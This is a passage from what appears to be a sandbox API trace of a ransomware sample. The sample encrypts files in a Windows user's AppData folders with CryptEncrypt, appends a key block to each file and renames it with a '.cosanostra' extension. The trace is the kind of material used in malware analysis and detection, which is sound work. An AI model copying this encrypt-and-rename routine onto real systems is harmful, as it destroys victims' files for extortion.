lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.345] WriteFile (in: hFile=0x154, lpBuffer=0x2abf58c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf54c, lpOverlapped=0x0 | out: lpBuffer=0x2abf58c*, lpNumberOfBytesWritten=0x2abf54c*=0x4, lpOverlapped=0x0) returned 1 [0088.345] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf54c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf54c*=0x30, lpOverlapped=0x0) returned 1 [0088.346] CloseHandle (hObject=0x154) returned 1 [0088.346] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat.cosanostra")) returned 1 [0088.398] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf590 | out: pbBuffer=0x2abf590) returned 1 [0088.398] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf588*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf588*=0x30) returned 1 [0088.398] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.407] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD") returned 88 [0088.407] StrStrW (lpFirst="WMSDKNS.DTD", lpSrch=".txt") returned 0x0 [0088.408] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffffe0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.408] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x1f2, lpNumberOfBytesWritten=0x2abf54c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf54c*=0x1f2, lpOverlapped=0x0) returned 1 [0088.408] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.408] WriteFile (in: hFile=0x174, lpBuffer=0x2abf58c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf54c, lpOverlapped=0x0 | out: lpBuffer=0x2abf58c*, lpNumberOfBytesWritten=0x2abf54c*=0x4, lpOverlapped=0x0) returned 1 [0088.408] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf54c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf54c*=0x30, lpOverlapped=0x0) returned 1 [0088.408] CloseHandle (hObject=0x174) returned 1 [0088.408] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.cosanostra")) returned 1 [0088.411] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf588 | out: pbBuffer=0x2abf588) returned 1 [0088.411] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf580*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf580*=0x30) returned 1 [0088.411] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.422] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned 91 [0088.422] StrStrW (lpFirst="Stars.jpg", lpSrch=".txt") returned 0x0 [0088.475] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffe2af, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.475] WriteFile (in: hFile=0x188, lpBuffer=0x2d2e10*, nNumberOfBytesToWrite=0x1d51, lpNumberOfBytesWritten=0x2abf544, lpOverlapped=0x0 | out: lpBuffer=0x2d2e10*, lpNumberOfBytesWritten=0x2abf544*=0x1d51, lpOverlapped=0x0) returned 1 [0088.476] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.477] WriteFile (in: hFile=0x188, lpBuffer=0x2abf584*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf544, lpOverlapped=0x0 | out: lpBuffer=0x2abf584*, lpNumberOfBytesWritten=0x2abf544*=0x4, lpOverlapped=0x0) returned 1 [0088.477] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf544, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf544*=0x30, lpOverlapped=0x0) returned 1 [0088.477] CloseHandle (hObject=0x188) returned 1 [0088.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.cosanostra")) returned 1 [0088.544] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf580 | out: pbBuffer=0x2abf580) returned 1 [0088.544] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf578*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf578*=0x30) returned 1 [0088.544] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.546] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned 93 [0088.546] StrStrW (lpFirst="Peacock.htm", lpSrch=".txt") returned 0x0 [0088.547] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.547] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2abf53c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf53c*=0xe8, lpOverlapped=0x0) returned 1 [0088.547] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.547] WriteFile (in: hFile=0x188, lpBuffer=0x2abf57c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf53c, lpOverlapped=0x0 | out: lpBuffer=0x2abf57c*, lpNumberOfBytesWritten=0x2abf53c*=0x4, lpOverlapped=0x0) returned 1 [0088.547] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf53c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf53c*=0x30, lpOverlapped=0x0) returned 1 [0088.547] CloseHandle (hObject=0x188) returned 1 [0088.548] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.cosanostra")) returned 1 [0088.548] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf580 | out: pbBuffer=0x2abf580) returned 1 [0088.548] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf578*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf578*=0x30) returned 1 [0088.548] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.549] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned 99 [0088.549] StrStrW (lpFirst="OrangeCircles.jpg", lpSrch=".txt") returned 0x0 [0088.550] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffe713, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.551] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x18ed, lpNumberOfBytesWritten=0x2abf53c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf53c*=0x18ed, lpOverlapped=0x0) returned 1 [0088.551] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.551] WriteFile (in: hFile=0x188, lpBuffer=0x2abf57c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf53c, lpOverlapped=0x0 | out: lpBuffer=0x2abf57c*, lpNumberOfBytesWritten=0x2abf53c*=0x4, lpOverlapped=0x0) returned 1 [0088.551] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf53c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf53c*=0x30, lpOverlapped=0x0) returned 1 [0088.551] CloseHandle (hObject=0x188) returned 1 [0088.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.cosanostra")) returned 1 [0088.552] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf578 | out: pbBuffer=0x2abf578) returned 1 [0088.552] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf570*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf570*=0x30) returned 1 [0088.552] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.553] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned 100 [0088.554] StrStrW (lpFirst="Orange Circles.htm", lpSrch=".txt") returned 0x0 [0088.554] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.554] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x2abf534, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf534*=0xed, lpOverlapped=0x0) returned 1 [0088.555] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.555] WriteFile (in: hFile=0x188, lpBuffer=0x2abf574*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf534, lpOverlapped=0x0 | out: lpBuffer=0x2abf574*, lpNumberOfBytesWritten=0x2abf534*=0x4, lpOverlapped=0x0) returned 1 [0088.555] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf534, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf534*=0x30, lpOverlapped=0x0) returned 1 [0088.555] CloseHandle (hObject=0x188) returned 1 [0088.555] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.cosanostra")) returned 1 [0088.556] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf578 | out: pbBuffer=0x2abf578) returned 1 [0088.556] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf570*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf570*=0x30) returned 1 [0088.556] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.556] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned 96 [0088.556] StrStrW (lpFirst="HandPrints.jpg", lpSrch=".txt") returned 0x0 [0088.557] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffef82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.558] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x107e, lpNumberOfBytesWritten=0x2abf534, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf534*=0x107e, lpOverlapped=0x0) returned 1 [0088.558] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.558] WriteFile (in: hFile=0x188, lpBuffer=0x2abf574*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf534, lpOverlapped=0x0 | out: lpBuffer=0x2abf574*, lpNumberOfBytesWritten=0x2abf534*=0x4, lpOverlapped=0x0) returned 1 [0088.558] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf534, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf534*=0x30, lpOverlapped=0x0) returned 1 [0088.558] CloseHandle (hObject=0x188) returned 1 [0088.558] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.cosanostra")) returned 1 [0088.559] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf570 | out: pbBuffer=0x2abf570) returned 1 [0088.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf568*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf568*=0x30) returned 1 [0088.559] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.559] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned 97 [0088.560] StrStrW (lpFirst="Hand Prints.htm", lpSrch=".txt") returned 0x0 [0088.560] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff15, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.560] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xeb, lpNumberOfBytesWritten=0x2abf52c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf52c*=0xeb, lpOverlapped=0x0) returned 1 [0088.560] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.560] WriteFile (in: hFile=0x188, lpBuffer=0x2abf56c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf52c, lpOverlapped=0x0 | out: lpBuffer=0x2abf56c*, lpNumberOfBytesWritten=0x2abf52c*=0x4, lpOverlapped=0x0) returned 1 [0088.561] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf52c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf52c*=0x30, lpOverlapped=0x0) returned 1 [0088.561] CloseHandle (hObject=0x188) returned 1 [0088.561] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.cosanostra")) returned 1 [0088.561] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf570 | out: pbBuffer=0x2abf570) returned 1 [0088.561] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf568*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf568*=0x30) returned 1 [0088.561] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.562] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned 98 [0088.562] StrStrW (lpFirst="GreenBubbles.jpg", lpSrch=".txt") returned 0x0 [0088.573] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffe6fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.573] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x1906, lpNumberOfBytesWritten=0x2abf52c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf52c*=0x1906, lpOverlapped=0x0) returned 1 [0088.573] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.573] WriteFile (in: hFile=0x188, lpBuffer=0x2abf56c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf52c, lpOverlapped=0x0 | out: lpBuffer=0x2abf56c*, lpNumberOfBytesWritten=0x2abf52c*=0x4, lpOverlapped=0x0) returned 1 [0088.573] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf52c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf52c*=0x30, lpOverlapped=0x0) returned 1 [0088.573] CloseHandle (hObject=0x188) returned 1 [0088.573] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.cosanostra")) returned 1 [0088.574] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf568 | out: pbBuffer=0x2abf568) returned 1 [0088.574] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf560*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf560*=0x30) returned 1 [0088.574] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.575] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned 92 [0088.575] StrStrW (lpFirst="Garden.htm", lpSrch=".txt") returned 0x0 [0088.575] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff19, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.575] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xe7, lpNumberOfBytesWritten=0x2abf524, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf524*=0xe7, lpOverlapped=0x0) returned 1 [0088.575] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.575] WriteFile (in: hFile=0x188, lpBuffer=0x2abf564*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf524, lpOverlapped=0x0 | out: lpBuffer=0x2abf564*, lpNumberOfBytesWritten=0x2abf524*=0x4, lpOverlapped=0x0) returned 1 [0088.576] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf524, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf524*=0x30, lpOverlapped=0x0) returned 1 [0088.576] CloseHandle (hObject=0x188) returned 1 [0088.576] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.cosanostra")) returned 1 [0088.576] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, 